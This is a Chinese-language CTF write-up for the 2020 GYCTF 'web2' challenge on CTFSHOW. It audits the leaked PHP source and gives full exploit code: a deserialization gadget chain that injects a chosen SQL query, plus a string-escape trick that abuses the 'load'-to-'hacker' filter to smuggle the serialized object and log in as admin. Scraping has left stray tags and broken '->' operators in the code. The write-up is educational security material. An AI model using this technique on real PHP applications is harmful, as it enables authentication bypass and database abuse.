CTFSHOW game-gyctf web2

这周末在做梦 2024-08-03 17:03:01 阅读 94

【2020年新春战“疫”】game-gyctf web2

参考https://www.cnblogs.com/aninock/p/15408090.html

说明:看见网上好像没多少人写,刚好玩到这道题了,就写一下吧。

一、利用入口

常规套路发现www.zip然后进行代码审计

在这里插入图片描述

index可以包含update,session[login]=1 ,才能获得flag

在这里插入图片描述

但要检查session

lib.php中设置了session,似乎只有用户admin

在这里插入图片描述

可以看到User的验证只针对id和password

在这里插入图片描述

所以,只要执行表查询select 1,“c4ca4238a0b923820dcc509a6f75849b” from user where username=?,并且设置name=admin。满足session_id=1,session_token=admin后,session[login]就等于1了,因此必须调用info中的login。

二、构造链条

备注:解析在注释

<code><?php

class User

{

public $age = null;

public $nickname = null;

public function update()

{

$Info = unserialize($this->;getNewinfo());

$age = $Info->age;

$nickname = $Info->nickname;

$updateAction = new UpdateHelper($_SESSION['id'], $Info, "update user SET age=$age,nickname=$nickname where id=" . $_SESSION['id']);

//这个功能还没有写完 先占坑

}

public function getNewInfo()

{

$age = $_POST['age'];

$nickname = $_POST['nickname'];

return serialize(new Info($age, $nickname));

}

public function __destruct()

{

return file_get_contents($this->nickname);//危

}

public function __toString()

{

$this->nickname->update($this->age);

return "0-0";code>

}

}

class Info

{

public $age;

public $nickname;

public $CtrlCase;

public function __call($name, $argument)

{

echo $this->;CtrlCase->login($argument[0]);

}

}

class UpdateHelper

{

public $sql;

public function __destruct()

{

echo $this->sql;

}

}

class dbCtrl

{

public $name;

public $password;

public function login($sql)

{

$this->mysqli = new mysqli($this->hostname, $this->dbuser, $this->dbpass, $this->database);

if ($this->mysqli->connect_error) {

die("连接失败,错误:" . $this->mysqli->connect_error);

}

$result = $this->mysqli->prepare($sql);

$result->bind_param('s', $this->name);

$result->execute();

$result->bind_result($idResult, $passwordResult);

$result->fetch();

$result->close();

if ($this->token == 'admin') {

return $idResult;

}

if (!$idResult) {

echo('用户不存在!');

return false;

}

if (md5($this->password) !== $passwordResult) {

echo('密码错误!');

return false;

}

$_SESSION['token'] = $this->name;

return $idResult;

}

}

$users=new User();

$users->update();

#目标:调用info中的login,使其执行select 1,/"c4ca4238a0b923820dcc509a6f75849b/" from user where username=?

#$this->name = $_POST['username'];admin

#$this->password = $_POST['password'];1

#解决问题:判断以toString作为入口

$ud=new UpdateHelper();

$ud->sql=$users;#echo触发tostring

#第一步:另$age为需要执行的sql语句

$users->age="select 1,\"c4ca4238a0b923820dcc509a6f75849b\" from user where username=?";code>

#第二步:调用Info中的 login

$in=new Info();

$users->;nickname=$in;#toString中的update(),Info类不存在从而触发call

#第三步:需要使用的是dbctrl中的login,继续构造链条

$db=new dbCtrl();

$db->name="admin";code>

$db->;password="1";code>

$in->;CtrlCase=$db;

echo serialize($ud);

#O:12:"UpdateHelper":1:{s:3:"sql";O:4:"User":2:{s:3:"age";s:70:"select 1,"c4ca4238a0b923820dcc509a6f75849b" from user where username=?";s:8:"nickname";O:4:"Info":3:{s:3:"age";N;s:8:"nickname";N;s:8:"CtrlCase";O:6:"dbCtrl":2:{s:4:"name";s:5:"admin";s:8:"password";s:1:"1";}}}}

三、字符逃逸(增逃逸)

要从Info的login作为入口,而login(argument[0])是第二个参数,即nickname

注意:__call若传参,则返回不存在的方法名和该方法的参数。

在这里插入图片描述

运行一下看看入口原来的输出

在这里插入图片描述

O:4:“Info”:3:{s:3:“age”;s:6:“age123”;s:8:“nickname”;s:11:“nickname123”;s:8:“CtrlCase”;N;}

如果是load换成hacker,那么就从

O:4:“Info”:3:{s:3:“age”;s:6:“age123”;s:8:“nickname”;s:4:“load”;s:8:“CtrlCase”;N;}

变成

O:4:“Info”:3:{s:3:“age”;s:6:“age123”;s:8:“nickname”;s:4:“hacker”;s:8:“CtrlCase”;N;}

我需要逃逸274个字符串,那就是说要满足方程

6x=4x+274+闭合字符串(“;s:8:“CtrlCase”;)(17个)+最后的大括号(1个)

2x=292

x=146

所以需要146个"load”

在这里插入图片描述

exp

<code>……

echo serialize($ud);

echo "\n";

echo strlen(serialize($ud));

#O:12:"UpdateHelper":1:{s:3:"sql";O:4:"User":2:{s:3:"age";s:70:"select 1,"c4ca4238a0b923820dcc509a6f75849b" from user where username=?";s:8:"nickname";O:4:"Info":3:{s:3:"age";N;s:8:"nickname";N;s:8:"CtrlCase";O:6:"dbCtrl":2:{s:4:"name";s:5:"admin";s:8:"password";s:1:"1";}}}}

echo "\n";

function safe($parm){

$array= array('union','regexp','load','into','flag','file','insert',"'",'\\',"*","alter");

return str_replace($array,'hacker',$parm);

}

$p=new Info();

$p->;age="age123";code>

$m=str_repeat("load",146);

$p->;nickname=$m."\";s:8:\"CtrlCase\";".serialize($ud).'}';

echo($p->nickname);

echo "\n";

echo safe(serialize($p));

四、使用Payload

提示10-0就成功调用__toString()了。

在这里插入图片描述

在用admin/1登录既可以获得flag了。

在这里插入图片描述



声明

本文内容仅代表作者观点,或转载于其他网站,本站不以此文作为商业用途
如有涉及侵权,请联系本站进行删除
转载本站原创文章,请注明来源及作者。